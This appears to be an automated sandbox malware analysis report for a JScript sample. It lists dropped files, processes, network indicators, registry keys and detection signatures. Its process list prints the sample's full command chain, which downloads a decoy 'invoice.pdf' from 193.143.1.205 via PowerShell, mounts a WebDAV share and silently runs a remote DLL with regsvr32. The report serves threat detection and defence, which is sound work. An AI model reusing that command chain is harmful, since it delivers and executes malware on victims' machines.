Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

1647911459241874440.js

ASCII text, with very long lines (37780), with CRLF line terminators

initial sample

C:\Users\user\AppData\Local\Temp\invoice.pdf

PDF document, version 1.7

dropped

C:\ProgramData\Microsoft\Network\Downloader\edb.log

data

dropped

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Extensible storage user DataBase, version 0x620, checksum 0x3af259e3, page size 16384, DirtyShutdown, Windows version 10.0

dropped

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

data

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6f698d8c-43f4-4c16-85a5-35b621941830.tmp

JSON data

modified

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

JSON data

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

data

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

ASCII text

dropped

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11

dropped

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

SQLite Rollback Journal

dropped

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Certificate, Version=3

dropped

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression

dropped

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

data

dropped

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

data

modified

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

PostScript document text

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6548

PostScript document text

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

PostScript document text

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6548

PostScript document text

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

JSON data

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

SQLite Rollback Journal

dropped

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

data

dropped

C:\Users\user\AppData\Local\Temp\MSIc8e96.LOG

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnzol34r.4s2.ps1

ASCII text, with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5zmemlc.pxp.psm1

ASCII text, with no line terminators

dropped

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 14-42-06-494.log

ASCII text, with very long lines (393)

dropped

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

ASCII text, with very long lines (393), with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\acrocef_low\436bc9ec-c6d2-4955-b51b-44f3c70b935c.tmp

gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022

dropped

C:\Users\user\AppData\Local\Temp\acrocef_low\538ad473-cd6b-4bfc-9554-b524a241774c.tmp

gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538

dropped

C:\Users\user\AppData\Local\Temp\acrocef_low\5c516a6a-5836-4d72-aafd-e369d95bb857.tmp

gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081

dropped

C:\Users\user\AppData\Local\Temp\acrocef_low\9077dea9-3573-47ef-ae75-73a3fad485ba.tmp

gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142

dropped

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

JSON data

dropped

There are 47 hidden files, click here to show them.

Processes

Path

Cmdline

Malicious

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"

C:\Windows\System32\cmd.exe

cmd /c net use \\193.143.1.205@8888\davwwwroot\

C:\Windows\System32\net.exe

net use \\193.143.1.205@8888\davwwwroot\

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1588,i,10440249036511766134,9373202045153823086,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8

URLs

Name

Malicious

http://193.143.1.205/invoice.php

193.143.1.205

Details

Name:	http://193.143.1.205/invoice.php
IP:	193.143.1.205
TargetID:	4
From Memory:	false
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source:	network
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Powershell launch regsvr32	HIPS / PFW / Operating System Protection Evasion
Suricata IDS alerts for network traffic	Networking
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
Gathers information about network shares	Stealing of Sensitive Information	Network Share Discovery
Sigma detected: Suspicious Invoke-WebRequest Execution	System Summary
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
IP address seen in connection with other malware	Networking
Sigma detected: Communication To Uncommon Destination Ports	System Summary
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process	System Summary
Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest	System Summary
Sigma detected: PowerShell Script Run in AppData	System Summary
Sigma detected: PowerShell Web Download	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: System Network Connections Discovery Via Net.EXE	System Summary
Sigma detected: Windows Share Mount Via Net.EXE	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

https://g.live.com/odclientsettings/ProdV21C:

unknown

Details

Name:	https://g.live.com/odclientsettings/ProdV21C:
TargetID:	-1
From Memory:	true
Source:	svchost.exe, 00000009.00000003.2189295888.0000024A41010000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://crl.ver)

unknown

Details

Name:	http://crl.ver)
TargetID:	9
From Memory:	true
Current Path:	C:\Windows\System32\svchost.exe
Source:	svchost.exe, 00000009.00000002.3409711759.0000024A41200000.00000004.00000020.00020000.00000000.sdmp
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://x1.i.lencr.org/

unknown

Details

Name:	http://x1.i.lencr.org/
TargetID:	8
From Memory:	true
Current Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source:	2D85F72862B55C4EADD9E66E06947F3D0.8.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

https://g.live.com/odclientsettings/Prod1C:

unknown

Details

Name:	https://g.live.com/odclientsettings/Prod1C:
TargetID:	9
From Memory:	true
Current Path:	C:\Windows\System32\svchost.exe
Source:	qmgr.db.9.dr
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

http://193.143.1.205:8888/

unknown

Details

Name:	http://193.143.1.205:8888/
TargetID:	7
From Memory:	true
Current Path:	C:\Windows\System32\net.exe
Source:	net.exe, 00000007.00000002.2182594694.00000278DC2DF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182390787.00000278DC288000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178967922.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182466219.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178827767.00000278DC2DD000.00000004.00000020.00020000.00000000.sdmp
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Downloads files with wrong headers with respect to MIME Content-Type	Networking	Data Obfuscation
URLs found in memory or binary data	Networking

Domains

Name

Malicious

bg.microsoft.map.fastly.net

199.232.210.172

x1.i.lencr.org

unknown

IPs

Domain

Country

Malicious

193.143.1.205

unknown

Details

IP:	193.143.1.205
TargetID:	4
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASN number:	57271
ASN name:	BITWEB-ASRU
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Powershell launch regsvr32	HIPS / PFW / Operating System Protection Evasion
Suricata IDS alerts for network traffic	Networking
Gathers information about network shares	Stealing of Sensitive Information	Network Share Discovery
Sigma detected: Suspicious Invoke-WebRequest Execution	System Summary
Sigma detected: Suspicious Script Execution From Temp Folder	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Sigma detected: Communication To Uncommon Destination Ports	System Summary
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process	System Summary
Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest	System Summary
Sigma detected: PowerShell Script Run in AppData	System Summary
Sigma detected: PowerShell Web Download	System Summary
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP	System Summary
Sigma detected: Usage Of Web Request Commands And Cmdlets	System Summary
Suricata IDS alerts with low severity for network traffic	Networking
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: System Network Connections Discovery Via Net.EXE	System Summary
Sigma detected: Windows Share Mount Via Net.EXE	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

127.0.0.1

unknown

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe

JScriptSetScriptStateStarted

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

LangID

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.FriendlyAppName

HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.ApplicationCompany

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableAutoFileTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

EnableConsoleTracing

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

ConsoleTracingMask

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

MaxFileSize

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32

FileDirectory